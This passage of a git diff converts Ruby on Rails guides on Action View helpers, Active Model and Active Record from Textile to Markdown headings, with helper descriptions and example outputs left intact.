Returns a form with inputs for all attributes of the specified Active Record object. For example, let's say we have a +@post+ with attributes named +title+ of type +String+ and +body+ of type +Text+. Calling +form+ would produce a form to creating a new post with inputs for those attributes.
@@ -441,7 +450,7 @@ form("post")
Typically, +form_for+ is used instead of +form+ because it doesn't automatically include all of the model's attributes.
-h5. input
+#### input
Returns a default input tag for the type of object returned by the method.
@@ -452,11 +461,11 @@ input("post", "title") # =>
<input id="post_title" name="post[title]" type="text" value="Hello World" />
```
-h4. RecordTagHelper
+### RecordTagHelper
This module provides methods for generating container tags, such as +div+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use.
-h5. content_tag_for
+#### content_tag_for
Renders a container tag that relates to your Active Record Object.
@@ -511,7 +520,7 @@ Will generate this HTML output:
</tr>
```
-h5. div_for
+#### div_for
This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example:
@@ -529,7 +538,7 @@ Will generate this HTML output:
</div>
```
-h4. AssetTagHelper
+### AssetTagHelper
This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds.
@@ -540,7 +549,7 @@ config.action_controller.asset_host = "assets.example.com"
image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
```
-h5. register_javascript_expansion
+#### register_javascript_expansion
Register one or more JavaScript files to be included when symbol is passed to javascript_include_tag. This method is typically intended to be called from plugin initialization to register JavaScript files that the plugin installed in +vendor/assets/javascripts+.
@@ -553,7 +562,7 @@ javascript_include_tag :monkey # =>
<script src="/assets/tail.js"></script>
```
-h5. register_stylesheet_expansion
+#### register_stylesheet_expansion
Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +vendor/assets/stylesheets+.
@@ -566,7 +575,7 @@ stylesheet_link_tag :monkey # =>
<link href="/assets/tail.css" media="screen" rel="stylesheet" />
```
-h5. auto_discovery_link_tag
+#### auto_discovery_link_tag
Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
@@ -575,7 +584,7 @@ auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {:title => "RSS
<link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed" />
```
-h5. image_path
+#### image_path
Computes the path to an image asset in the +app/assets/images+ directory. Full paths from the document root will be passed through. Used internally by +image_tag+ to build the image path.
@@ -589,7 +598,7 @@ Fingerprint will be added to the filename if config.assets.digest is set to true
image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png
```
-h5. image_url
+#### image_url
Computes the url to an image asset in the +app/asset/images+ directory. This will call +image_path+ internally and merge with your current host or your asset host.
@@ -597,7 +606,7 @@ Computes the url to an image asset in the +app/asset/images+ directory. This wil
image_url("edit.png") # => http://www.example.com/assets/edit.png
```
-h5. image_tag
+#### image_tag
Returns an html image tag for the source. The source can be a full path or a file that exists in your +app/assets/images+ directory.
@@ -605,7 +614,7 @@ Returns an html image tag for the source. The source can be a full path or a fil
image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
```
-h5. javascript_include_tag
+#### javascript_include_tag
Returns an html script tag for each of the sources provided. You can pass in the filename (+.js+ extension is optional) of JavaScript files that exist in your +app/assets/javascripts+ directory for inclusion into the current page or you can pass the full path relative to your document root.
@@ -632,7 +641,7 @@ javascript_include_tag :all, :cache => true # =>
<script src="/javascripts/all.js"></script>
```
-h5. javascript_path
+#### javascript_path
Computes the path to a JavaScript asset in the +app/assets/javascripts+ directory. If the source filename has no extension, +.js+ will be appended. Full paths from the document root will be passed through. Used internally by +javascript_include_tag+ to build the script path.
@@ -640,7 +649,7 @@ Computes the path to a JavaScript asset in the +app/assets/javascripts+ director
javascript_path "common" # => /assets/common.js
```
-h5. javascript_url
+#### javascript_url
Computes the url to a JavaScript asset in the +app/assets/javascripts+ directory. This will call +javascript_path+ internally and merge with your current host or your asset host.
@@ -648,7 +657,7 @@ Computes the url to a JavaScript asset in the +app/assets/javascripts+ directory
javascript_url "common" # => http://www.example.com/assets/common.js
```
-h5. stylesheet_link_tag
+#### stylesheet_link_tag
Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, +.css+ will be appended automatically.
@@ -669,7 +678,7 @@ stylesheet_link_tag :all, :cache => true
# => <link href="/assets/all.css" media="screen" rel="stylesheet" />
```
-h5. stylesheet_path
+#### stylesheet_path
Computes the path to a stylesheet asset in the +app/assets/stylesheets+ directory. If the source filename has no extension, .css will be appended. Full paths from the document root will be passed through. Used internally by stylesheet_link_tag to build the stylesheet path.
@@ -677,7 +686,7 @@ Computes the path to a stylesheet asset in the +app/assets/stylesheets+ director
stylesheet_path "application" # => /assets/application.css
```
-h5. stylesheet_url
+#### stylesheet_url
Computes the url to a stylesheet asset in the +app/assets/stylesheets+ directory. This will call +stylesheet_path+ internally and merge with your current host or your asset host.
@@ -685,9 +694,9 @@ Computes the url to a stylesheet asset in the +app/assets/stylesheets+ directory
stylesheet_url "application" # => http://www.example.com/assets/application.css
```
-h4. AtomFeedHelper
+### AtomFeedHelper
-h5. atom_feed
+#### atom_feed
This helper makes building an Atom feed easy. Here's a full usage example:
@@ -730,9 +739,9 @@ atom_feed do |feed|
end
```
-h4. BenchmarkHelper
+### BenchmarkHelper
-h5. benchmark
+#### benchmark
Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation.
@@ -744,9 +753,9 @@ Allows you to measure the execution time of a block in a template and records th
This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code.
-h4. CacheHelper
+### CacheHelper
-h5. cache
+#### cache
A method for caching fragments of a view rather than an entire action or page. This technique is useful caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See +ActionController::Caching::Fragments+ for more information.
@@ -756,9 +765,9 @@ A method for caching fragments of a view rather than an entire action or page. T
<% end %>
```
-h4. CaptureHelper
+### CaptureHelper
-h5. capture
+#### capture
The +capture+ method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
@@ -781,7 +790,7 @@ The captured variable can then be used anywhere else.
</html>
```
-h5. content_for
+#### content_for
Calling +content_for+ stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to +yield+.
@@ -811,9 +820,9 @@ For example, let's say we have a standard application layout, but also a special
<% end %>
```
-h4. DateHelper
+### DateHelper
-h5. date_select
+#### date_select
Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
@@ -821,7 +830,7 @@ Returns a set of select tags (one for year, month, and day) pre-selected for acc
date_select("post", "published_on")
```
-h5. datetime_select
+#### datetime_select
Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
@@ -829,7 +838,7 @@ Returns a set of select tags (one for year, month, day, hour, and minute) pre-se
datetime_select("post", "published_on")
```
-h5. distance_of_time_in_words
+#### distance_of_time_in_words
Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set +include_seconds+ to true if you want more detailed approximations.
@@ -838,7 +847,7 @@ distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than
distance_of_time_in_words(Time.now, Time.now + 15.seconds, :include_seconds => true) # => less than 20 seconds
```
-h5. select_date
+#### select_date
Returns a set of html select-tags (one for year, month, and day) pre-selected with the +date+ provided.
@@ -850,7 +859,7 @@ select_date(Time.today + 6.days)
select_date()
```
-h5. select_datetime
+#### select_datetime
Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the +datetime+ provided.
@@ -862,7 +871,7 @@ select_datetime(Time.now + 4.days)
select_datetime()
```
-h5. select_day
+#### select_day
Returns a select tag with options for each of the days 1 through 31 with the current day selected.
@@ -874,7 +883,7 @@ select_day(Time.today + 2.days)
select_day(5)
```
-h5. select_hour
+#### select_hour
Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
@@ -883,7 +892,7 @@ Returns a select tag with options for each of the hours 0 through 23 with the cu
select_minute(Time.now + 6.hours)
```
-h5. select_minute
+#### select_minute
Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
@@ -892,7 +901,7 @@ Returns a select tag with options for each of the minutes 0 through 59 with the
select_minute(Time.now + 6.hours)
```
-h5. select_month
+#### select_month
Returns a select tag with options for each of the months January through December with the current month selected.
@@ -901,7 +910,7 @@ Returns a select tag with options for each of the months January through Decembe
select_month(Date.today)
```
-h5. select_second
+#### select_second
Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
@@ -910,7 +919,7 @@ Returns a select tag with options for each of the seconds 0 through 59 with the
select_second(Time.now + 16.minutes)
```
-h5. select_time
+#### select_time
Returns a set of html select-tags (one for hour and minute).
@@ -919,7 +928,7 @@ Returns a set of html select-tags (one for hour and minute).
select_time(Time.now)
```
-h5. select_year
+#### select_year
Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+.
@@ -931,7 +940,7 @@ select_year(Date.today)
select_year(Date.today, :start_year => 1900, :end_year => 2009)
```
-h5. time_ago_in_words
+#### time_ago_in_words
Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
@@ -939,7 +948,7 @@ Like +distance_of_time_in_words+, but where +to_time+ is fixed to +Time.now+.
time_ago_in_words(3.minutes.from_now) # => 3 minutes
```
-h5. time_select
+#### time_select
Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object.
@@ -948,7 +957,7 @@ Returns a set of select tags (one for hour, minute and optionally second) pre-se
time_select("order", "submitted")
```
-h4. DebugHelper
+### DebugHelper
Returns a +pre+ tag that has object dumped by YAML. This creates a very readable way to inspect an object.
@@ -968,7 +977,7 @@ third:
</pre>
```
-h4. FormHelper
+### FormHelper
Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller.
@@ -1003,7 +1012,7 @@ The params object created when this form is submitted would look like:
The params hash has a nested person value, which can therefore be accessed with params[:person] in the controller.
-h5. check_box
+#### check_box
Returns a checkbox tag tailored for accessing a specified attribute.
@@ -1014,7 +1023,7 @@ check_box("post", "validated")
# <input name="post[validated]" type="hidden" value="0" />
```
-h5. fields_for
+#### fields_for
Creates a scope around a specific model object like form_for, but doesn't create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form:
@@ -1029,7 +1038,7 @@ Creates a scope around a specific model object like form_for, but doesn't create
<% end %>
```
-h5. file_field
+#### file_field
Returns a file upload input tag tailored for accessing a specified attribute.
@@ -1038,7 +1047,7 @@ file_field(:user, :avatar)
# => <input type="file" id="user_avatar" name="user[avatar]" />
```
-h5. form_for
+#### form_for
Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
@@ -1051,7 +1060,7 @@ Creates a form and a scope around a specific model object that is used as a base
<% end %>
```
-h5. hidden_field
+#### hidden_field
Returns a hidden input tag tailored for accessing a specified attribute.
@@ -1060,7 +1069,7 @@ hidden_field(:user, :token)
# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
```
-h5. label
+#### label
Returns a label tag tailored for labelling an input field for a specified attribute.
@@ -1069,7 +1078,7 @@ label(:post, :title)
# => <label for="post_title">Title</label>
```
-h5. password_field
+#### password_field
Returns an input tag of the "password" type tailored for accessing a specified attribute.
@@ -1078,7 +1087,7 @@ password_field(:login, :pass)
# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" />
```
-h5. radio_button
+#### radio_button
Returns a radio button tag for accessing a specified attribute.
@@ -1090,7 +1099,7 @@ radio_button("post", "category", "java")
# <input type="radio" id="post_category_java" name="post[category]" value="java" />
```
-h5. text_area
+#### text_area
Returns a textarea opening and closing tag set tailored for accessing a specified attribute.
@@ -1101,7 +1110,7 @@ text_area(:comment, :text, :size => "20x30")
# </textarea>
```
-h5. text_field
+#### text_field
Returns an input tag of the "text" type tailored for accessing a specified attribute.
@@ -1110,11 +1119,11 @@ text_field(:post, :title)
# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
```
-h4. FormOptionsHelper
+### FormOptionsHelper
Provides a number of methods for turning different kinds of containers into a set of option tags.
-h5. collection_select
+#### collection_select
Returns +select+ and +option+ tags for the collection of existing return values of +method+ for +object+'s class.
@@ -1150,7 +1159,7 @@ If <tt>@post.author_id</tt> is 1, this would return:
</select>
```
-h5. collection_radio_buttons
+#### collection_radio_buttons
Returns +radio_button+ tags for the collection of existing return values of +method+ for +object+'s class.
@@ -1186,7 +1195,7 @@ If <tt>@post.author_id</tt> is 1, this would return:
<label for="post_author_id_3">M. Clark</label>
```
-h5. collection_check_boxes
+#### collection_check_boxes
Returns +check_box+ tags for the collection of existing return values of +method+ for +object+'s class.
@@ -1223,15 +1232,15 @@ If <tt>@post.author_ids</tt> is <tt><notextile>[1]</notextile></tt>, this would
<input name="post[author_ids][]" type="hidden" value="" />
```
-h5. country_options_for_select
+#### country_options_for_select
Returns a string of option tags for pretty much any country in the world.
-h5. country_select
+#### country_select
Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
-h5. option_groups_from_collection_for_select
+#### option_groups_from_collection_for_select
Returns a string of +option+ tags, like +options_from_collection_for_select+, but groups them by +optgroup+ tags based on the object relationships of the arguments.
@@ -1273,7 +1282,7 @@ Possible output:
Note: Only the +optgroup+ and +option+ tags are returned, so you still have to wrap the output in an appropriate +select+ tag.
-h5. options_for_select
+#### options_for_select
Accepts a container (hash, array, enumerable, your type) and returns a string of option tags.
@@ -1284,7 +1293,7 @@ options_for_select([ "VISA", "MasterCard" ])
Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
-h5. options_from_collection_for_select
+#### options_from_collection_for_select
Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
@@ -1301,7 +1310,7 @@ options_from_collection_for_select(@project.people, "id", "name")
Note: Only the +option+ tags are returned, you have to wrap this call in a regular HTML +select+ tag.
-h5. select
+#### select
Create a select tag and a series of contained option tags for the provided object and method.
@@ -1322,11 +1331,11 @@ If <tt>@post.person_id</tt> is 1, this would become:
</select>
```
-h5. time_zone_options_for_select
+#### time_zone_options_for_select
Returns a string of option tags for pretty much any time zone in the world.
-h5. time_zone_select
+#### time_zone_select
Return select and option tags for the given object and method, using +time_zone_options_for_select+ to generate the list of option tags.
@@ -1334,11 +1343,11 @@ Return select and option tags for the given object and method, using +time_zone_
time_zone_select( "user", "time_zone")
```
-h4. FormTagHelper
+### FormTagHelper
Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
-h5. check_box_tag
+#### check_box_tag
Creates a check box form input tag.
@@ -1347,7 +1356,7 @@ check_box_tag 'accept'
# => <input id="accept" name="accept" type="checkbox" value="1" />
```
-h5. field_set_tag
+#### field_set_tag
Creates a field set for grouping HTML form elements.
@@ -1358,7 +1367,7 @@ Creates a field set for grouping HTML form elements.
# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
```
-h5. file_field_tag
+#### file_field_tag
Creates a file upload field.
@@ -1378,7 +1387,7 @@ file_field_tag 'attachment'
# => <input id="attachment" name="attachment" type="file" />
```
-h5. form_tag
+#### form_tag
Starts a form tag that points the action to an url configured with +url_for_options+ just like +ActionController::Base#url_for+.
@@ -1389,7 +1398,7 @@ Starts a form tag that points the action to an url configured with +url_for_opti
# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
```
-h5. hidden_field_tag
+#### hidden_field_tag
Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user.
@@ -1398,7 +1407,7 @@ hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
# => <input id="token" name="token" type="hidden" value="VUBJKB23UIVI1UU1VOBVI@" />
```
-h5. image_submit_tag
+#### image_submit_tag
Displays an image which when clicked will submit the form.
@@ -1407,7 +1416,7 @@ image_submit_tag("login.png")
# => <input src="/images/login.png" type="image" />
```
-h5. label_tag
+#### label_tag
Creates a label field.
@@ -1416,7 +1425,7 @@ label_tag 'name'
# => <label for="name">Name</label>
```
-h5. password_field_tag
+#### password_field_tag
Creates a password field, a masked text field that will hide the users input behind a mask character.
@@ -1425,7 +1434,7 @@ password_field_tag 'pass'
# => <input id="pass" name="pass" type="password" />
```
-h5. radio_button_tag
+#### radio_button_tag
Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.
@@ -1434,7 +1443,7 @@ radio_button_tag 'gender', 'male'
# => <input id="gender_male" name="gender" type="radio" value="male" />
```
-h5. select_tag
+#### select_tag
Creates a dropdown selection box.
@@ -1443,7 +1452,7 @@ select_tag "people", "<option>David</option>"
# => <select id="people" name="people"><option>David</option></select>
```
-h5. submit_tag
+#### submit_tag
Creates a submit button with the text provided as the caption.
@@ -1452,7 +1461,7 @@ submit_tag "Publish this post"
# => <input name="commit" type="submit" value="Publish this post" />
```
-h5. text_area_tag
+#### text_area_tag
Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.
@@ -1461,7 +1470,7 @@ text_area_tag 'post'
# => <textarea id="post" name="post"></textarea>
```
-h5. text_field_tag
+#### text_field_tag
Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.
@@ -1470,11 +1479,11 @@ text_field_tag 'name'
# => <input id="name" name="name" type="text" />
```
-h4. JavaScriptHelper
+### JavaScriptHelper
Provides functionality for working with JavaScript in your views.
-h5. button_to_function
+#### button_to_function
Returns a button that'll trigger a JavaScript function using the onclick handler. Examples:
@@ -1486,15 +1495,15 @@ button_to_function "Details" do |page|
end
```
-h5. define_javascript_functions
+#### define_javascript_functions
Includes the Action Pack JavaScript libraries inside a single +script+ tag.
-h5. escape_javascript
+#### escape_javascript
Escape carrier returns and single and double quotes for JavaScript segments.
-h5. javascript_tag
+#### javascript_tag
Returns a JavaScript tag wrapping the provided code.
@@ -1510,7 +1519,7 @@ alert('All is good')
</script>
```
-h5. link_to_function
+#### link_to_function
Returns a link that will trigger a JavaScript function using the onclick handler and return false after the fact.
@@ -1519,11 +1528,11 @@ link_to_function "Greeting", "alert('Hello world!')"
# => <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
```
-h4. NumberHelper
+### NumberHelper
Provides methods for converting numbers into formatted strings. Methods are provided for phone numbers, currency, percentage, precision, positional notation, and file size.
-h5. number_to_currency
+#### number_to_currency
Formats a number into a currency string (e.g., $13.65).
@@ -1531,7 +1540,7 @@ Formats a number into a currency string (e.g., $13.65).
number_to_currency(1234567890.50) # => $1,234,567,890.50
```
-h5. number_to_human_size
+#### number_to_human_size
Formats the bytes in size into a more understandable representation; useful for reporting file sizes to users.
@@ -1540,7 +1549,7 @@ number_to_human_size(1234) # => 1.2 KB
number_to_human_size(1234567) # => 1.2 MB
```
-h5. number_to_percentage
+#### number_to_percentage
Formats a number as a percentage string.
@@ -1548,7 +1557,7 @@ Formats a number as a percentage string.
number_to_percentage(100, :precision => 0) # => 100%
```
-h5. number_to_phone
+#### number_to_phone
Formats a number into a US phone number.
@@ -1556,7 +1565,7 @@ Formats a number into a US phone number.
number_to_phone(1235551234) # => 123-555-1234
```
-h5. number_with_delimiter
+#### number_with_delimiter
Formats a number with grouped thousands using a delimiter.
@@ -1564,7 +1573,7 @@ Formats a number with grouped thousands using a delimiter.
number_with_delimiter(12345678) # => 12,345,678
```
-h5. number_with_precision
+#### number_with_precision
Formats a number with the specified level of +precision+, which defaults to 3.
@@ -1573,7 +1582,8 @@ number_with_precision(111.2345) # => 111.235
number_with_precision(111.2345, 2) # => 111.23
```
-h3. Localized Views
+Localized Views
+---------------
Action View has the ability render different templates depending on the current locale.
diff --git a/guides/source/active_model_basics.md b/guides/source/active_model_basics.md
index c02afd1c9a..99edc20c73 100644
--- a/guides/source/active_model_basics.md
+++ b/guides/source/active_model_basics.md
@@ -1,16 +1,18 @@
-h2. Active Model Basics
+Active Model Basics
+===================
This guide should provide you with all you need to get started using model classes. Active Model allows for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework.
-endprologue.
+--------------------------------------------------------------------------------
WARNING. This guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails.
-h3. Introduction
+Introduction
+------------
Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below.
-h4. AttributeMethods
+### AttributeMethods
The AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them.
@@ -43,7 +45,7 @@ person.age_highest? # false
```
-h4. Callbacks
+### Callbacks
Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods.
@@ -67,7 +69,7 @@ class Person
end
```
-h4. Conversion
+### Conversion
If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class.
@@ -90,7 +92,7 @@ person.to_key #=> nil
person.to_param #=> nil
```
-h4. Dirty
+### Dirty
An object becomes dirty when it has gone through one or more changes to its attributes and has not been saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Let's consider a Person class with attributes first_name and last_name
@@ -126,7 +128,7 @@ class Person
end
```
-h5. Querying object directly for its list of all changed attributes.
+#### Querying object directly for its list of all changed attributes.
```ruby
person = Person.new
@@ -147,7 +149,7 @@ person.changed_attributes #=> {"first_name" => "First Name Changed"}
person.changes #=> {"first_name" => ["First Name","First Name Changed"]}
```
-h5. Attribute based accessor methods
+#### Attribute based accessor methods
Track whether the particular attribute has been changed or not.
@@ -176,7 +178,7 @@ person.first_name_change #=> ["First Name", "First Name 1"]
person.last_name_change #=> nil
```
-h4. Validations
+### Validations
Validations module adds the ability to class objects to validate them in Active Record style.
diff --git a/guides/source/active_record_basics.md b/guides/source/active_record_basics.md
index a0bb4a8e01..69f8eace41 100644
--- a/guides/source/active_record_basics.md
+++ b/guides/source/active_record_basics.md
@@ -1,4 +1,5 @@
-h2. Active Record Basics
+Active Record Basics
+====================
This guide is an introduction to Active Record. After reading this guide we hope that you'll learn:
@@ -8,21 +9,22 @@ This guide is an introduction to Active Record. After reading this guide we hope
* Active Record schema naming conventions
* The concepts of database migrations, validations and callbacks
-endprologue.
+--------------------------------------------------------------------------------
-h3. What is Active Record?
+What is Active Record?
+----------------------
Active Record is the M in "MVC":getting_started.html#the-mvc-architecture - the model - which is the layer of the system responsible for representing business data and logic. Active Record facilitates the creation and use of business objects whose data requires persistent storage to a database. It is an implementation of the Active Record pattern which itself is a description of an Object Relational Mapping system.
-h4. The Active Record Pattern
+### The Active Record Pattern
Active Record was described by Martin Fowler in his book _Patterns of Enterprise Application Architecture_. In Active Record, objects carry both persistent data and behavior which operates on that data. Active Record takes the opinion that ensuring data access logic is part of the object will educate users of that object on how to write to and read from the database.
-h4. Object Relational Mapping
+### Object Relational Mapping
Object-Relational Mapping, commonly referred to as its abbreviation ORM, is a technique that connects the rich objects of an application to tables in a relational database management system. Using ORM, the properties and relationships of the objects in an application can be easily stored and retrieved from a database without writing SQL statements directly and with less overall database access code.
-h4. Active Record as an ORM Framework
+### Active Record as an ORM Framework
Active Record gives us several mechanisms, the most important being the ability to:
@@ -32,11 +34,12 @@ Active Record gives us several mechanisms, the most important being the ability
* Validate models before they get persisted to the database
* Perform database operations in an object-oriented fashion.
-h3. Convention over Configuration in Active Record
+Convention over Configuration in Active Record
+----------------------------------------------
When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating Active Record models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
-h4. Naming Conventions
+### Naming Conventions
By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples:
@@ -51,7 +54,7 @@ By default, Active Record uses some naming conventions to find out how the mappi
|+Person+ |+people+|
-h4. Schema Conventions
+### Schema Conventions
Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns.
@@ -70,7 +73,8 @@ There are also some optional column names that will create additional features t
NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
-h3. Creating Active Record Models
+Creating Active Record Models
+-----------------------------
It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go:
@@ -97,7 +101,8 @@ p.name = "Some Book"
puts p.name # "Some Book"
```
-h3. Overriding the Naming Conventions
+Overriding the Naming Conventions
+---------------------------------
What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
@@ -127,11 +132,12 @@ class Product < ActiveRecord::Base
end
```
-h3. CRUD: Reading and Writing Data
+CRUD: Reading and Writing Data
+------------------------------
CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables.
-h4. Create
+### Create
Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database.
@@ -160,7 +166,7 @@ Finally, if a block is provided, both +create+ and +new+ will yield the new obje
end
```
-h4. Read
+### Read
Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record.
@@ -186,7 +192,7 @@ Active Record provides a rich API for accessing data within a database. Below ar
You can learn more about querying an Active Record model in the "Active Record Query Interface":"active_record_querying.html" guide.
-h4. Update
+### Update
Once an Active Record object has been retrieved, its attributes can be modified and it can be saved to the database.
@@ -196,7 +202,7 @@ Once an Active Record object has been retrieved, its attributes can be modified
user.save
```
-h4. Delete
+### Delete
Likewise, once retrieved an Active Record object can be destroyed which removes it from the database.
@@ -205,14 +211,17 @@ Likewise, once retrieved an Active Record object can be destroyed which removes
user.destroy
```
-h3. Validations
+Validations
+-----------
Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview.
-h3. Callbacks
+Callbacks
+---------
Active Record callbacks allow you to attach code to certain events in the life-cycle of your models. This enables you to add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#callbacks-overview.
-h3. Migrations
+Migrations
+----------
Rails provides a domain-specific language for managing a database schema called migrations. Migrations are stored in files which are executed against any database that Active Record support using rake. Rails keeps track of which files have been committed to the database and provides rollback features. You can learn more about migrations in the "Active Record Migrations guide":migrations.html
diff --git a/guides/source/active_record_querying.md b/guides/source/active_record_querying.md
index 436ef3439f..896724fa22 100644
--- a/guides/source/active_record_querying.md
+++ b/guides/source/active_record_querying.md
@@ -1,4 +1,5 @@
-h2. Active Record Query Interface
+Active Record Query Interface
+=============================
This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
@@ -10,7 +11,7 @@ This guide covers different ways to retrieve data from the database using Active
* Perform various calculations on Active Record models
* Run EXPLAIN on relations
-endprologue.
+--------------------------------------------------------------------------------
If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
@@ -46,7 +47,8 @@ end
Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
-h3. Retrieving Objects from the Database
+Retrieving Objects from the Database
+------------------------------------
To retrieve objects from the database, Active Record provides several finder methods. Each finder method allows you to pass arguments into it to perform certain queries on your database without writing raw SQL.
@@ -84,11 +86,11 @@ The primary operation of <tt>Model.find(options)</tt> can be summarized as:
* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
* Run +after_find+ callbacks, if any.
-h4. Retrieving a Single Object
+### Retrieving a Single Object
Active Record provides five different ways of retrieving a single object.
-h5. Using a Primary Key
+#### Using a Primary Key
Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example:
@@ -106,7 +108,7 @@ SELECT * FROM clients WHERE (clients.id = 10) LIMIT 1
<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
-h5. +take+
+#### +take+
<tt>Model.take</tt> retrieves a record without any implicit ordering. For example:
@@ -125,7 +127,7 @@ SELECT * FROM clients LIMIT 1
TIP: The retrieved record may vary depending on the database engine.
-h5. +first+
+#### +first+
<tt>Model.first</tt> finds the first record ordered by the primary key. For example:
@@ -142,7 +144,7 @@ SELECT * FROM clients ORDER BY clients.id ASC LIMIT 1
<tt>Model.first</tt> returns +nil+ if no matching record is found and no exception will be raised.
-h5. +last+
+#### +last+
<tt>Model.last</tt> finds the last record ordered by the primary key. For example:
